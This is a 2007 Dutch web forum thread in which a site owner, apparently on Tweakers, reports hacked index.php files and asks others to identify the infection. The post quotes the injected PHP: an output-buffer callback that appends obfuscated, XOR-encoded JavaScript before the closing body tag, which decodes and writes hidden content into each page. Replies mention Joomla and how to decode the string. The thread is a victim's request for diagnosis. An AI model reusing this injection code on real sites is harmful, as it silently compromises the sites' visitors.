Hallo,
Ik heb nu in een week tijd 3 sites gehad die het ineens niet meer deden..
in de index.php bestanden stond ineens:
De hosteigenaar (een vriend van me) zegt dat ik gehacked ben. Lijkt er wel op!
Weet iemand wat dit voor hack is? Is niks over te vinden op internet. Of wat hij doet met die javascript? Lijkt erop dat hij iets onderin de body print, en tegen meekijkers, het in de code in charcodes heeft staan. Leuke is wel dat door de verkeerde implementatie bovenin, de hack het niet doet en de site gewoon een foutmelding geeft
Ik heb nu in een week tijd 3 sites gehad die het ineens niet meer deden..
in de index.php bestanden stond ineens:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?
ob_start("phpfake");
php
//Rest van de code
En onderin staat:
<?php
function phpfake($buffer)
{
$Exp='<script language="JavaScript">e = \'0x00\' + \'6E\';str1 = "%D5%8D%86%9B%F1%9C%9D%96%85%8A%D2%CF%9B%86%9C%86%8F%86%85%86%9D%96%D7%89%86%8D%8D%8A%83%CF%D3%D5%86%8B%9F%8E%82%8A%F1%9C%9F%8C%D2%CF%89%9D%9D%81%D7%C0%C0%96%8A%84%9D%8C%83%9D%C3%86%83%8B%80%C0%85%8D%C0%88%9A%8C%C0%CF%F1%98%86%8D%9D%89%D2%DE%F1%89%8A%86%88%89%9D%D2%DE%D3%D5%C0%86%8B%9F%8E%82%8A%D3%D5%C0%8D%86%9B%D3";str=tmp=\'\';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>';
return (ereg_replace("</body>", "$Exp</body>", $buffer));
}
?> |
De hosteigenaar (een vriend van me) zegt dat ik gehacked ben. Lijkt er wel op!
Weet iemand wat dit voor hack is? Is niks over te vinden op internet. Of wat hij doet met die javascript? Lijkt erop dat hij iets onderin de body print, en tegen meekijkers, het in de code in charcodes heeft staan. Leuke is wel dat door de verkeerde implementatie bovenin, de hack het niet doet en de site gewoon een foutmelding geeft
[ Voor 0% gewijzigd door een moderator op 06-09-2007 13:10 . Reden: Code-tags toegevoegd ]
:strip_icc():strip_exif()/u/53213/crop579918c57678f.jpeg?f=community)
:strip_icc():strip_exif()/u/96648/shakira.jpg?f=community)
... En die gebruikte een Joomla CMS.
/u/107051/jeroenmadtrix60.png?f=community)
:strip_icc():strip_exif()/u/91018/dgtw.jpg?f=community)
:strip_exif()/u/13818/episodebutler_60x60.gif?f=community)
:strip_icc():strip_exif()/u/40077/cartman.jpg?f=community)
Ik had iets over het hoofd gezien, er moest nog 127 vanaf gehaald, hoe simpel :strip_exif()/u/53157/thai4.gif?f=community)
:strip_icc():strip_exif()/u/87691/avatar_alex.jpg?f=community){kind=avatar}